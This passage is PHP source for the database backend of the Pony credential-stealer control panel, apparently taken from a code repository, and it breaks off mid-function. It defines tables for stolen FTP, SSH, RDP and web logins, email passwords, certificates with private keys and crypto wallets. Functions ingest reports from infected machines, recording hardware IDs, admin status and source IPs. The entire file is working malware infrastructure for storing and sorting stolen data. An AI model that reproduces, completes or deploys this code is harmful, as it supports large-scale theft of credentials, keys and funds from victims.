Files
2026-08-27 11:22:04 -06:00

3736 lines
113 KiB
PHP

<?php
define('CLOG_SOURCE_GATE', 'gate');
define('CLOG_SOURCE_REPORT', 'report');
define('CLOG_SOURCE_LOGIN', 'login');
define('CPONY_FTP_TABLE', 'pony_ftp');
define('CPONY_REPORT_TABLE', 'pony_report');
define('CPONY_REPORT_DATA_TABLE', 'pony_report_data');
define('CPONY_DOMAIN_TABLE', 'pony_domain');
define('CPONY_LOG_TABLE', 'pony_system_log');
define('CPONY_USER_TABLE', 'pony_user');
define('CPONY_CERT_TABLE', 'pony_cert');
define('CPONY_WALLET_TABLE', 'pony_wallet');
define('CPONY_EMAIL_TABLE', 'pony_email');
define('CPONY_DOMAINLIST_TABLE', 'pony_domainlist');
class pony_db
{
public $db_link;
protected $database;
public $state;
public $privileges;
public $auth_cookie;
public $user_id;
public $login;
function __construct()
{
$this->state = true;
$this->db_link = null;
$this->privileges = '';
}
function connect($host, $user, $pass)
{
global $use_mysql_persist_connections;
if (!isset($use_mysql_persist_connections))
$use_mysql_persist_connections = false;
// establish the connection
if ($use_mysql_persist_connections)
{
// workaround for PHP warning: MySQL server has gone away
$this->db_link = @mysql_pconnect($host, $user, $pass);
if (!$this->db_link || !mysql_ping($this->db_link))
$this->db_link = mysql_pconnect($host, $user, $pass);
} else
{
$this->db_link = mysql_connect($host, $user, $pass, true);
}
if (!$this->db_link)
{
$this->state = false;
return false;
}
return true;
}
function select_db($database)
{
if (!$this->state)
return false;
$select_result = mysql_select_db($database, $this->db_link);
if (!$select_result)
{
$select_result = mysql_query(sprintf('CREATE DATABASE IF NOT EXISTS %s CHARACTER SET cp1251 COLLATE cp1251_general_ci', mysql_real_escape_string($database)), $this->db_link);
$select_result = $select_result && mysql_select_db($database, $this->db_link);
}
$this->state = $select_result;
$this->state = $this->state && mysql_query('SET NAMES cp1251', $this->db_link);
$this->database = $database;
return $this->state;
}
var $required_tables = array('pony_user', 'pony_ftp', 'pony_report', 'pony_report_data', 'pony_system_log', 'pony_domain', 'pony_chart_helper', 'pony_cert', 'pony_email', 'pony_domainlist', 'pony_wallet');
function all_tables_exist()
{
if (!$this->state)
return false;
$result = mysql_query("SHOW TABLES", $this->db_link);
if (!$result)
{
$this->state = false;
return false;
}
$actual_tables = array();
while ($row = mysql_fetch_assoc($result))
{
foreach ($row as $table)
{
array_push($actual_tables, $table);
}
}
$diff = array_diff($this->required_tables, $actual_tables);
// some required tables found
if (count($diff) != 0)
{
return false;
}
return true;
}
function some_tables_exist()
{
if (!$this->state)
return false;
$result = mysql_query("SHOW TABLES", $this->db_link);
if (!$result)
{
$this->state = false;
return false;
}
$actual_tables = array();
while ($row = mysql_fetch_assoc($result))
{
foreach ($row as $table)
{
array_push($actual_tables, $table);
}
}
$diff = array_intersect($this->required_tables, $actual_tables);
// some required tables found
if (count($diff) != 0)
{
return true;
}
return false;
}
function delete_tables()
{
if (!$this->state)
return false;
// some required tables found
foreach ($this->required_tables as $table_name)
{
$this->drop_table($table_name);
}
return $this->state;
}
function upgrade()
{
if (!$this->state)
return false;
$result = mysql_query("SHOW TABLES", $this->db_link);
if (!$result)
{
$this->state = false;
return false;
}
$actual_tables = array();
while ($row = mysql_fetch_assoc($result))
{
foreach ($row as $table)
{
array_push($actual_tables, $table);
}
}
if (!count($actual_tables))
return false;
if (array_search(CPONY_CERT_TABLE, $actual_tables) === false)
{
$this->create_data_tables();
}
if (array_search(CPONY_WALLET_TABLE, $actual_tables) === false)
{
$this->create_data_tables();
}
if (array_search(CPONY_EMAIL_TABLE, $actual_tables) === false)
{
$this->create_data_tables();
}
if (array_search(CPONY_DOMAINLIST_TABLE, $actual_tables) === false)
{
$this->create_data_tables();
}
return true;
}
function upgrade_ftp_table()
{
if (!$this->state)
return false;
$result = mysql_query("SHOW COLUMNS FROM `pony_ftp` WHERE FIELD='domain_id'", $this->db_link);
if (!$result)
{
$this->state = false;
return false;
}
$needs_update = true;
if (mysql_fetch_assoc($result))
{
$needs_update = false;
}
if ($needs_update)
{
$this->lock_all_tables();
$result = mysql_query("ALTER TABLE `pony_ftp` ADD domain_id INT DEFAULT '0' AFTER import_time", $this->db_link);
if (!$result)
{
$this->unlock_all_tables();
return false;
}
$this->unlock_all_tables();
$result = mysql_query("SELECT ftp_id, url FROM `pony_ftp`", $this->db_link);
if ($result)
{
$query = '';
$counter = 0;
while ($row = mysql_fetch_assoc($result))
{
$domain = trim(extract_domain($row['url']));
if (strlen($domain))
{
$query .= ",('".mysql_real_escape_string($domain)."')";
if ($counter++ > 1000)
{
$update_result = mysql_query('INSERT IGNORE INTO pony_domainlist (url_domain) VALUES '.substr($query, 1), $this->db_link);
$counter = 0;
$query = '';
if (!$update_result)
{
$this->state = false;
return false;
}
}
}
}
if (strlen($query))
{
$update_result = mysql_query('INSERT IGNORE INTO pony_domainlist (url_domain) VALUES '.substr($query, 1), $this->db_link);
if (!$update_result)
{
$this->state = false;
return false;
}
}
}
$result = mysql_query("SELECT ftp_id, url FROM `pony_ftp`", $this->db_link);
if ($result)
{
while ($row = mysql_fetch_assoc($result))
{
$domain = trim(extract_domain($row['url']));
$update_result = mysql_query("UPDATE `pony_ftp` SET domain_id = IFNULL((SELECT domain_id FROM `pony_domainlist` WHERE url_domain='".mysql_real_escape_string($domain)."'), '0') WHERE ftp_id='".mysql_real_escape_string($row['ftp_id'])."'", $this->db_link);
if (!$update_result)
{
$this->state = false;
return false;
}
}
}
}
}
function connect_db($host, $user, $pass, $database, $verbose = false)
{
if (!$this->connect($host, $user, $pass))
{
if ($verbose)
die('cannot connect to mysql database');
else
die();
}
if (!$this->select_db($database))
{
if ($verbose)
die('cannot select mysql database');
else
die();
}
$this->upgrade();
$tables_exist = $this->all_tables_exist();
if (!$this->state)
{
if ($verbose)
die('mysql database error');
else
die();
}
if (!$tables_exist)
{
if ($verbose)
die ('missing required mysql database tables');
else
die();
} else
{
$this->upgrade_ftp_table();
}
return true;
}
// close connection
function close()
{
// check connection
if ($this->db_link)
{
mysql_close($this->db_link);
$this->state = false;
}
}
function create_data_tables()
{
$result = mysql_query("
CREATE TABLE IF NOT EXISTS pony_report
(
report_id INT NOT NULL AUTO_INCREMENT,
PRIMARY KEY(report_id),
parsed BOOL DEFAULT FALSE,
import_time DATETIME,
KEY(import_time),
report_os_name VARCHAR(150),
report_country CHAR(2),
report_is_win64 BOOL,
report_admin BOOL,
report_source_ip CHAR(15),
report_hwid CHAR(40),
report_version VARCHAR(10),
data_id INT NOT NULL,
KEY(data_id)
)
CHARACTER SET cp1251
COLLATE cp1251_general_ci
ENGINE = MYISAM
", $this->db_link);
$result = $result && mysql_query("
CREATE TABLE IF NOT EXISTS pony_report_data
(
data_id INT NOT NULL AUTO_INCREMENT,
PRIMARY KEY(data_id),
data_hash CHAR(40) NOT NULL,
UNIQUE KEY (data_hash),
data LONGBLOB
)
CHARACTER SET cp1251
COLLATE cp1251_general_ci
ENGINE = MYISAM
", $this->db_link);
$result = $result && mysql_query("
CREATE TABLE IF NOT EXISTS pony_ftp
(
ftp_id INT NOT NULL AUTO_INCREMENT,
PRIMARY KEY(ftp_id),
report_id INT NOT NULL,
KEY(report_id),
url TEXT NOT NULL,
url_hash CHAR(40) NOT NULL,
UNIQUE KEY(url_hash),
url_type ENUM('ftp', 'ssh', 'http', 'https', 'rdp', 'vnc') NOT NULL,
KEY(url_type),
ftp_client VARCHAR(50),
import_time DATETIME,
KEY(import_time),
domain_id INT DEFAULT '0'
)
CHARACTER SET cp1251
COLLATE cp1251_general_ci
ENGINE = MYISAM
", $this->db_link);
$result = $result && mysql_query("
CREATE TABLE IF NOT EXISTS pony_domainlist
(
domain_id INT NOT NULL AUTO_INCREMENT,
PRIMARY KEY(domain_id),
url_domain VARCHAR(250) NOT NULL,
UNIQUE(url_domain)
)
CHARACTER SET cp1251
COLLATE cp1251_general_ci
ENGINE = MYISAM
", $this->db_link);
$result = $result && mysql_query(sprintf("
CREATE TABLE IF NOT EXISTS pony_system_log
(
log_id INT NOT NULL AUTO_INCREMENT,
PRIMARY KEY(log_id),
report_id INT DEFAULT NULL,
KEY(report_id),
log_line VARCHAR(250),
log_source ENUM('%s', '%s', '%s') NOT NULL,
log_type ENUM('notify', 'error', 'other') NOT NULL,
log_extra VARCHAR(250),
import_time DATETIME
)
CHARACTER SET cp1251
COLLATE cp1251_general_ci
ENGINE = MYISAM
", CLOG_SOURCE_GATE, CLOG_SOURCE_REPORT, CLOG_SOURCE_LOGIN),
$this->db_link);
$result = $result && mysql_query("
CREATE TABLE IF NOT EXISTS pony_cert
(
cert_id INT NOT NULL AUTO_INCREMENT,
PRIMARY KEY(cert_id),
report_id INT NOT NULL,
KEY(report_id),
import_time DATETIME,
KEY(import_time),
cert_client VARCHAR(50),
data_hash CHAR(40) NOT NULL,
UNIQUE KEY(data_hash),
cert_data LONGBLOB,
pvtkey_data LONGBLOB
)
CHARACTER SET cp1251
COLLATE cp1251_general_ci
ENGINE = MYISAM
",
$this->db_link);
$result = $result && mysql_query("
CREATE TABLE IF NOT EXISTS pony_wallet
(
wallet_id INT NOT NULL AUTO_INCREMENT,
PRIMARY KEY(wallet_id),
report_id INT NOT NULL,
KEY(report_id),
import_time DATETIME,
KEY(import_time),
wallet_client VARCHAR(50),
data_hash CHAR(40) NOT NULL,
UNIQUE KEY(data_hash),
wallet_data LONGBLOB
)
CHARACTER SET cp1251
COLLATE cp1251_general_ci
ENGINE = MYISAM
",
$this->db_link);
$result = $result && mysql_query("
CREATE TABLE IF NOT EXISTS pony_email
(
email_id INT NOT NULL AUTO_INCREMENT,
PRIMARY KEY(email_id),
report_id INT NOT NULL,
KEY(report_id),
import_time DATETIME,
KEY(import_time),
email_client VARCHAR(50),
email_hash CHAR(40) NOT NULL,
UNIQUE KEY(email_hash),
protocol ENUM('smtp', 'imap', 'nntp', 'http', 'pop3', 'other') NOT NULL,
email VARCHAR(250) NOT NULL,
server VARCHAR(250) NOT NULL,
port INT DEFAULT '0',
user VARCHAR(250) NOT NULL,
pass VARCHAR(250) NOT NULL
)
CHARACTER SET cp1251
COLLATE cp1251_general_ci
ENGINE = MYISAM
",
$this->db_link);
return $result;
}
function create_tables()
{
if (!$this->state)
return false;
$result = mysql_query("
CREATE TABLE pony_user
(
user_id INT NOT NULL AUTO_INCREMENT,
PRIMARY KEY(user_id),
username VARCHAR(100) NOT NULL UNIQUE,
password VARCHAR(50) NOT NULL,
privileges VARCHAR(200) NOT NULL,
auth_cookie VARCHAR(50) DEFAULT NULL,
lang VARCHAR(50) NULL,
settings TEXT,
time_offset INT
)
CHARACTER SET cp1251
COLLATE cp1251_general_ci
ENGINE = MYISAM
", $this->db_link);
$result = $result && $this->create_data_tables();
$result = $result && mysql_query("
CREATE TABLE pony_domain
(
domain_id INT NOT NULL AUTO_INCREMENT,
PRIMARY KEY(domain_id),
url TEXT,
url_hash CHAR(40) NOT NULL UNIQUE,
ping_status VARCHAR(100),
ping_time DATETIME,
import_time DATETIME
)
CHARACTER SET cp1251
COLLATE cp1251_general_ci
ENGINE = MYISAM
", $this->db_link);
$result = $result && mysql_query("
CREATE TABLE pony_chart_helper
(
chart_id INT NOT NULL AUTO_INCREMENT,
PRIMARY KEY(chart_id),
chart_type VARCHAR(50),
update_time DATETIME,
image_hash CHAR(40),
KEY(image_hash)
)
CHARACTER SET cp1251
COLLATE cp1251_general_ci
ENGINE = MYISAM
", $this->db_link);
if (!$result)
{
$this->state = false;
}
return $result;
}
function priv_is_admin()
{
return $this->privileges == 'admin_all';
}
function priv_can_delete()
{
return strpos($this->privileges, 'all') !== false;
}
function priv_is_user($privileges)
{
return strpos($privileges, 'user') !== false;
}
function domain_exists($url_hash)
{
$url_hash = trim($url_hash);
if (!$this->state || !strlen($url_hash))
return false;
$query = sprintf("SELECT domain_id FROM pony_domain WHERE (url_hash='%s') LIMIT 1",
mysql_real_escape_string($url_hash));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if (mysql_num_rows($result) == 1)
return true;
}
return false;
}
function add_domain($domain)
{
$domain = trim($domain);
$hash = mixed_sha1($domain);
if (!$this->state || !strlen($domain) || $this->domain_exists($hash))
return false;
$query = sprintf("INSERT INTO pony_domain
(url, url_hash, import_time)
VALUES ('%s', '%s', '%s')",
mysql_real_escape_string($domain), // url
mysql_real_escape_string($hash), // url_hash
mysql_real_escape_string(mysql_now_date()) // import_time
);
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
return false;
}
return true;
}
function user_exists($login)
{
$login = trim($login);
if (!$this->state || !strlen($login))
return false;
$query = sprintf("SELECT privileges FROM pony_user WHERE (username='%s') LIMIT 1",
mysql_real_escape_string($login));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if (mysql_num_rows($result) == 1)
return true;
}
return false;
}
function user_id_exists($id)
{
$id = intval($id);
if (!$this->state || $id <= 0)
return false;
$query = sprintf("SELECT user_id FROM pony_user WHERE (user_id='%s') LIMIT 1",
mysql_real_escape_string($id));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if (mysql_num_rows($result) == 1)
return true;
}
return false;
}
function add_user($login, $password, $privileges = 'user_all', $lang = '')
{
$login = trim($login);
$password = trim($password);
$privileges = trim($privileges);
$lang = trim($lang);
if (!$this->state || !strlen($login) || !strlen($password) || !strlen($privileges))
return false;
// check for duplicate addition
if ($this->user_exists($login))
return false;
$query = sprintf("INSERT INTO pony_user(username, password, privileges, lang) VALUES ('%s', '%s', '%s', '%s')",
mysql_real_escape_string($login),
mysql_real_escape_string(mixed_sha1($password)),
mysql_real_escape_string($privileges),
mysql_real_escape_string($lang));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
return false;
}
return true;
}
function update_user($user_id, $password, $privileges = 'user_all', $lang = '')
{
$user_id = intval($user_id);
$password = trim($password);
$privileges = trim($privileges);
$lang = trim($lang);
if (!$this->state || !strlen($privileges) || $user_id <= 0)
return false;
// check for duplicate addition
if (!$this->user_id_exists($user_id))
return false;
$query = sprintf("UPDATE %s SET privileges='%s'",
mysql_real_escape_string(CPONY_USER_TABLE),
mysql_real_escape_string($privileges));
if (strlen($password))
{
$query .= sprintf(", password='%s'", mysql_real_escape_string(mixed_sha1($password)));
$query .= sprintf(", auth_cookie=NULL"); // force user to relogin
}
if (strlen($lang))
$query .= sprintf(", lang='%s'", mysql_real_escape_string($lang));
$query .= sprintf(" WHERE user_id='%s'", mysql_real_escape_string($user_id));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
return false;
}
return true;
}
function delete_user($user_id)
{
$user_id = intval($user_id);
if (!$this->state || $user_id <= 0 || !$this->user_id_exists($user_id))
return false;
$query = sprintf("DELETE FROM %s WHERE (user_id='%s')",
mysql_real_escape_string(CPONY_USER_TABLE),
mysql_real_escape_string($user_id));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
return false;
}
return true;
}
function get_user_list(&$user_list)
{
if (!$this->state)
return false;
$query = sprintf("SELECT * FROM %s WHERE (privileges!='admin_all')",
mysql_real_escape_string(CPONY_USER_TABLE));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
{
array_push($user_list,
array('user_id' => $row['user_id'],
'username' => $row['username'],
'password' => $row['password'],
'privileges' => $row['privileges']
)
);
}
return true;
}
return false;
}
function get_user_data($user_id)
{
$user_id = intval($user_id);
if (!$this->state || $user_id <= 0)
return false;
$query = sprintf("SELECT * FROM %s WHERE (user_id='%s') LIMIT 1",
mysql_real_escape_string(CPONY_USER_TABLE),
mysql_real_escape_string($user_id));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if ($row = mysql_fetch_assoc($result))
{
return array('user_id' => $row['user_id'],
'username' => $row['username'],
'password' => $row['password'],
'privileges' => $row['privileges']
);
}
}
return false;
}
function autneticate_cookie($cookie)
{
$cookie = trim($cookie);
if (!$this->state || !strlen($cookie))
return false;
$query = sprintf("SELECT user_id, privileges, username FROM pony_user WHERE (auth_cookie='%s') LIMIT 1",
mysql_real_escape_string($cookie));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if (mysql_num_rows($result) == 1)
{
$row = mysql_fetch_assoc($result);
if ($row)
{
$this->privileges = $row['privileges'];
$this->auth_cookie = $cookie;
$this->login = $row['username'];
$this->user_id = $row['user_id'];
return true;
}
}
}
return false;
}
function update_auth_cookie($user_id, $new_cookie)
{
$user_id = intval($user_id);
$new_cookie = trim($new_cookie);
if (!$this->state || $user_id < 0 || !strlen($new_cookie))
return false;
$query = sprintf("UPDATE pony_user SET auth_cookie='%s' WHERE (user_id='%s')",
mysql_real_escape_string($new_cookie),
mysql_real_escape_string($user_id));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
$this->auth_cookie = $new_cookie;
return true;
}
return false;
}
function remove_auth_cookie($cookie)
{
$cookie = trim($cookie);
if (!$this->state || !strlen($cookie))
return false;
$query = sprintf("UPDATE pony_user SET auth_cookie=NULL WHERE (auth_cookie='%s')",
mysql_real_escape_string($cookie));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
return true;
}
return false;
}
function check_password($password)
{
$password = trim($password);
if (!$this->state || !strlen($password))
return false;
$query = sprintf("SELECT password FROM pony_user WHERE (user_id='%s' AND auth_cookie='%s') LIMIT 1",
mysql_real_escape_string($this->user_id),
mysql_real_escape_string($this->auth_cookie));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if (mysql_num_rows($result) == 1)
{
$row = mysql_fetch_assoc($result);
if ($row)
{
if ($row['password'] == mixed_sha1($password))
return true;
}
}
}
return false;
}
function change_password($password)
{
$password = trim($password);
if (!$this->state || !strlen($password))
return false;
$query = sprintf("UPDATE pony_user SET password='%s' WHERE (user_id='%s' AND auth_cookie='%s') LIMIT 1",
mysql_real_escape_string(mixed_sha1($password)),
mysql_real_escape_string($this->user_id),
mysql_real_escape_string($this->auth_cookie));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
return true;
}
return false;
}
function authenticate($login, $password)
{
$login = trim($login);
$password = trim($password);
if (!$this->state || !strlen($login) || !strlen($password))
return false;
$password = mixed_sha1($password);
$query = sprintf("SELECT user_id, privileges FROM pony_user WHERE (username='%s' AND password='%s') LIMIT 1",
mysql_real_escape_string($login),
mysql_real_escape_string($password));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if (mysql_num_rows($result) == 1)
{
$row = mysql_fetch_assoc($result);
if ($row)
{
$this->user_id = $row['user_id'];
$this->update_auth_cookie($row['user_id'], mixed_sha1(12345*microtime()));
$this->privileges = $row['privileges'];
$this->login = $login;
return true;
}
}
}
return false;
}
function import_url_list($url_list, $report_id)
{
$report_id = intval($report_id);
if (!$this->state || $report_id <= 0)
return false;
$query = '';
foreach ($url_list as $ftp_list_item)
{
list($url, $ftp_client) = $ftp_list_item;
$domain = trim(extract_domain($url));
if (strlen($domain))
{
$query .= ",('".mysql_real_escape_string($domain)."')";
}
}
if (strlen($query))
{
$result = mysql_query('INSERT IGNORE INTO pony_domainlist (url_domain) VALUES '.substr($query, 1), $this->db_link);
if (!$result)
{
return false;
}
}
$query_values = '';
foreach ($url_list as $ftp_list_item)
{
list($url, $ftp_client) = $ftp_list_item;
$url = trim($url);
$ftp_client = trim($ftp_client);
if (!strlen($url) || !strlen($ftp_client))
continue;
$hash = mixed_sha1($url);
if (str_begins($url, 'rdp://'))
{
$url_type = 'rdp';
} elseif (str_begins($url, 'http://') || str_begins($url, 'https://'))
{
$url_type = 'http';
}
elseif (str_begins($url, 'sftp://'))
{
$url_type = 'ssh';
$url = 'ftp://'.substr($url, strlen('sftp://'));
}
else
{
$url_type = 'ftp';
}
if (!strlen($query_values))
$query_values .= 'VALUES';
$query_values .= sprintf("('%s','%s','%s','%s','%s','%s',IFNULL((SELECT domain_id FROM `pony_domainlist` WHERE url_domain='%s'), '0')),",
mysql_real_escape_string($report_id), // report_id
mysql_real_escape_string($url), // url
mysql_real_escape_string($url_type), // url_type
mysql_real_escape_string($hash), // url_hash
mysql_real_escape_string($ftp_client), // ftp_client
mysql_real_escape_string(mysql_now_date()), // import_time
mysql_real_escape_string(extract_domain($url)) // url domain
);
}
$query_values = substr($query_values, 0, -1);
if (strlen($query_values))
{
$query = "INSERT DELAYED IGNORE INTO pony_ftp (report_id, url, url_type, url_hash, ftp_client, import_time, domain_id) ".
$query_values;
$result = mysql_query($query, $this->db_link);
if (!$result)
{
return false;
}
}
return true;
}
function import_email_list($email_list, $report_id)
{
$report_id = intval($report_id);
if (!$this->state || $report_id <= 0)
return false;
$query_values = '';
foreach ($email_list as $email_list_item)
{
list($email, $email_client) = $email_list_item;
$email_client = trim($email_client);
$email_hash = mixed_sha1(report_parser::flat_email_array($email));
if (!strlen($query_values))
$query_values .= 'VALUES';
$query_values .= sprintf("('%s','%s','%s','%s','%s','%s','%s','%s','%s','%s'),",
mysql_real_escape_string($report_id), // report_id
mysql_real_escape_string(mysql_now_date()), // import_time
mysql_real_escape_string($email_client), // email_client
mysql_real_escape_string($email_hash), // dupe-check hash
mysql_real_escape_string($email['protocol']), // protocol
mysql_real_escape_string($email['email']), // email
mysql_real_escape_string($email['server']), // server
mysql_real_escape_string(strval(intval($email['port']))), // port
mysql_real_escape_string($email['user']), // user
mysql_real_escape_string($email['pass']) // pass
);
}
$query_values = substr($query_values, 0, -1);
if (strlen($query_values))
{
$query = "INSERT DELAYED IGNORE INTO pony_email (report_id, import_time, email_client, email_hash, protocol, email, server, port, user, pass) ".
$query_values;
$result = mysql_query($query, $this->db_link);
if (!$result)
{
return false;
}
}
return true;
}
function report_exists($data_hash)
{
$data_hash = trim($data_hash);
if (!$this->state || !strlen($data_hash))
return false;
$query = sprintf("SELECT data_id FROM pony_report_data WHERE data_hash='%s' LIMIT 1",
mysql_real_escape_string($data_hash));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if (mysql_num_rows($result) == 1)
return true;
}
return false;
}
function report_id_exists($report_id)
{
$report_id = intval($report_id);
if (!$this->state || $report_id <= 0)
return false;
$query = sprintf("SELECT report_id FROM pony_report WHERE report_id='%s' LIMIT 1",
mysql_real_escape_string($report_id));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if (mysql_num_rows($result) == 1)
return true;
}
return false;
}
function add_log_line($log_line, $log_source, $report_id = null, $log_extra = '')
{
$log_line = trim($log_line);
$log_source = trim($log_source);
if (!$this->state || !strlen($log_line) || !strlen($log_source))
return false;
if (preg_match('/^NOTIFY_/', $log_line))
$log_type = 'notify';
elseif (preg_match('/^ERR_/', $log_line))
$log_type = 'error';
elseif (preg_match('/^ERROR_/', $log_line))
$log_type = 'error';
else
$log_type = 'other';
$query = sprintf("INSERT DELAYED INTO pony_system_log
(report_id, log_line, log_source, log_type, log_extra, import_time)
VALUES (%s, '%s', '%s', '%s', '%s', '%s')",
($report_id === null)?'NULL':"'".mysql_real_escape_string($report_id)."'", // report_id
mysql_real_escape_string($log_line), // log_line
mysql_real_escape_string($log_source), // log_source
mysql_real_escape_string($log_type), // log_type
mysql_real_escape_string($log_extra), // log_extra
mysql_real_escape_string(mysql_now_date()) // import_time
);
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
return false;
}
return true;
}
function import_log_list($log_list, $log_source, $report_id = null)
{
if (!$this->state)
return false;
if (!is_array($log_list) || !count($log_list))
return true;
$query_values = '';
foreach ($log_list as $log_item)
{
list($log_line, $log_extra) = $log_item;
$log_line = trim($log_line);
$log_extra = trim($log_extra);
if (preg_match('/^NOTIFY_/', $log_line))
$log_type = 'notify';
elseif (preg_match('/^ERR_/', $log_line))
$log_type = 'error';
elseif (preg_match('/^ERROR_/', $log_line))
$log_type = 'error';
else
$log_type = 'other';
if (!strlen($log_line) || !strlen($log_source))
continue;
$query_values .= sprintf(
"(%s,'%s','%s','%s','%s','%s'),",
($report_id === null)?'NULL':"'".mysql_real_escape_string($report_id)."'", // report_id
mysql_real_escape_string($log_line), // log_line
mysql_real_escape_string($log_source), // log_source
mysql_real_escape_string($log_type), // log_type
mysql_real_escape_string($log_extra), // log_extra
mysql_real_escape_string(mysql_now_date()) // import_time
);
}
$query_values = substr($query_values, 0, -1);
if (strlen($query_values))
{
$query = "INSERT DELAYED INTO pony_system_log (report_id, log_line, log_source, log_type, log_extra, import_time) VALUES ".
$query_values;
$result = mysql_query($query, $this->db_link);
if (!$result)
{
return false;
}
}
return true;
}
function update_parsed_report($report_id, $os_name, $is_win64, $is_admin, $hwid, $version, $ftp_list, $log, $cert_list = null, $wallet_list = null, $email_list = null)
{
$report_id = intval($report_id);
if ($report_id <= 0)
return false;
$query = sprintf("UPDATE pony_report SET
parsed='1', report_os_name='%s', report_is_win64='%s', report_admin='%s', report_hwid='%s', report_version='%s'
WHERE report_id='%s'",
mysql_real_escape_string($os_name), // report_os_name
mysql_real_escape_string(intval($is_win64 == 1)), // report_is_win64
mysql_real_escape_string(intval($is_admin == 1)), // report_admin
mysql_real_escape_string($hwid), // report_hwid
mysql_real_escape_string($version), // report_version
mysql_real_escape_string($report_id)
);
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
return false;
} else
{
// write url (ftp/http) list
$this->import_url_list($ftp_list, $report_id);
if (!$this->state)
return false;
// write cert list
if ($cert_list !== null)
{
foreach ($cert_list as $cert_list_item)
{
list($cert_data, $cert_client) = $cert_list_item;
$this->add_cert($cert_data[0], $cert_data[1], $cert_client, $report_id);
if (!$this->state)
return false;
}
}
// write wallet list
if ($wallet_list !== null)
{
foreach ($wallet_list as $wallet_list_item)
{
list($wallet_data, $wallet_client) = $wallet_list_item;
$this->add_wallet($wallet_data, $wallet_client, $report_id);
if (!$this->state)
return false;
}
}
// write email list
if ($email_list !== null)
{
$this->import_email_list($email_list, $report_id);
if (!$this->state)
return false;
}
// write logs
if ($log !== null)
{
$this->import_log_list($log, CLOG_SOURCE_REPORT, $report_id);
if (!$this->state)
return false;
}
}
return true;
}
function add_nonparsed_report($ip, $country, $data)
{
if (strlen($data) == 0)
return false;
$hash = mixed_sha1($data);
if (!$this->state || $this->report_exists($hash))
{
return false;
}
$query = sprintf("INSERT INTO pony_report_data(data_hash, data) VALUES('%s', '%s')",
mysql_real_escape_string($hash),
mysql_real_escape_string($data));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
return false;
} else
{
$data_id = mysql_insert_id($this->db_link);
}
if ($data_id == 0)
{
$this->state = false;
return false;
}
$query = sprintf("INSERT INTO pony_report
(parsed, import_time, report_source_ip, report_country, data_id)
VALUES ('%s', '%s', '%s', '%s', '%s')",
mysql_real_escape_string(intval(0)), // parsed
mysql_real_escape_string(mysql_now_date()), // import_time
mysql_real_escape_string($ip), // report_source_ip
mysql_real_escape_string($country), // report_country
mysql_real_escape_string($data_id) // data_id
);
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
return false;
} else
{
return mysql_insert_id($this->db_link);
}
}
function add_parsed_report($os_name, $country, $is_win64, $is_admin, $ip, $hwid, $version, $data, $ftp_list, $log)
{
if (strlen($data) == 0)
return false;
$hash = mixed_sha1($data);
if (!$this->state || $this->report_exists($hash))
return false;
$query = sprintf("INSERT INTO pony_report
(parsed, import_time, report_os_name, report_country, report_is_win64, report_admin, report_source_ip, report_hwid, report_version, data_hash, data)
VALUES ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')",
mysql_real_escape_string(intval(1)), // parsed
mysql_real_escape_string(mysql_now_date()), // import_time
mysql_real_escape_string($os_name), // report_os_name
mysql_real_escape_string($country), // report_country
mysql_real_escape_string(intval($is_win64 == 1)), // report_is_win64
mysql_real_escape_string(intval($is_admin == 1)), // report_admin
mysql_real_escape_string($ip), // report_source_ip
mysql_real_escape_string($hwid), // report_hwid
mysql_real_escape_string($version), // report_version
mysql_real_escape_string($hash), // data_hash
mysql_real_escape_string($data) // data
);
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
return false;
} else
{
$report_id = mysql_insert_id($this->db_link);
if ($report_id)
{
// write url (ftp/http) list
$this->import_url_list($ftp_list, $report_id);
if (!$this->state)
return false;
// write logs
$this->import_log_list($log, CLOG_SOURCE_REPORT, $report_id);
if (!$this->state)
return false;
}
}
return true;
}
function cert_exists($data_hash)
{
$data_hash = trim($data_hash);
if (!$this->state || !strlen($data_hash))
return false;
$query = sprintf("SELECT data_hash FROM pony_cert WHERE data_hash='%s' LIMIT 1",
mysql_real_escape_string($data_hash));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if (mysql_num_rows($result) == 1)
return true;
}
return false;
}
function add_cert($cert, $pvt_key, $cert_client, $report_id)
{
$report_id = intval($report_id);
if (!$this->state || !strlen($cert) || !strlen($pvt_key) || $report_id <= 0)
return false;
$data_hash = mixed_sha1($cert."<!__!>".$pvt_key);
$query = sprintf("INSERT DELAYED IGNORE INTO pony_cert
(report_id, cert_data, pvtkey_data, data_hash, cert_client, import_time)
VALUES ('%s', '%s', '%s', '%s', '%s', '%s')",
mysql_real_escape_string($report_id), // source report id
mysql_real_escape_string($cert), // certificate data
mysql_real_escape_string($pvt_key), // private key data
mysql_real_escape_string($data_hash),
mysql_real_escape_string($cert_client),
mysql_real_escape_string(mysql_now_date()) // import_time
);
$result = mysql_query($query, $this->db_link);
if (!$result)
{
return false;
}
return true;
}
function add_wallet($wallet, $wallet_client, $report_id)
{
